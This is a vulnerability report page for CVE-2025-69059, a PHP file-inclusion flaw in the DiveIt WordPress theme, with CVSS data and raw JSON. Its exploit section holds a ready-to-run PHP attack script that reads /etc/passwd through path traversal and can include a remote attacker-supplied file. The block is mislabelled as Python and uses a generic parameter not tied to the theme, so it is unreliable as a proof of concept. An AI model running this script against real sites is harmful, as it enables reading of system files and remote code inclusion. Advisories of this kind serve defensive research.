Security Vulnerability Report
中文
CVE-2025-69059 CVSS 8.1 HIGH

CVE-2025-69059

Published: 2026-01-22 17:16:20
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes DiveIt diveit allows PHP Local File Inclusion.This issue affects DiveIt: from n/a through <= 1.4.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DiveIt Theme <= 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-69059 PoC - DiveIt Theme LFI/RFI // Usage: php poc.php <target_url> [payload_file] $target = $argv[1] ?? ''; $payload = $argv[2] ?? 'php://input'; if (empty($target)) { die("Usage: php cve-2025-69059.php <target_url> [payload]"); } // LFI PoC - Read passwd file echo "[*] Testing LFI on: $target\n"; $lfi_payload = "?file=../../../../etc/passwd"; $ch = curl_init($target . $lfi_payload); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[+] LFI Response (HTTP $http_code):\n"; echo substr($response, 0, 500) . "\n"; // RFI PoC - Include remote file (requires attacker-controlled server) if ($payload !== 'php://input') { echo "[*] Testing RFI with: $payload\n"; $rfi_payload = "?file=$payload"; $ch = curl_init($target . $rfi_payload); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); curl_close($ch); echo "[+] RFI request sent\n"; } echo "[*] PoC completed\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69059", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:19.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes DiveIt diveit allows PHP Local File Inclusion.This issue affects DiveIt: from n/a through <= 1.4.3."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la sentencia include/require en un programa PHP (vulnerabilidad de 'inclusión remota de ficheros PHP') en AncoraThemes DiveIt diveit permite la inclusión local de ficheros PHP. Este problema afecta a DiveIt: desde n/a hasta &lt;= 1.4.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/diveit/vulnerability/wordpress-diveit-theme-1-4-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}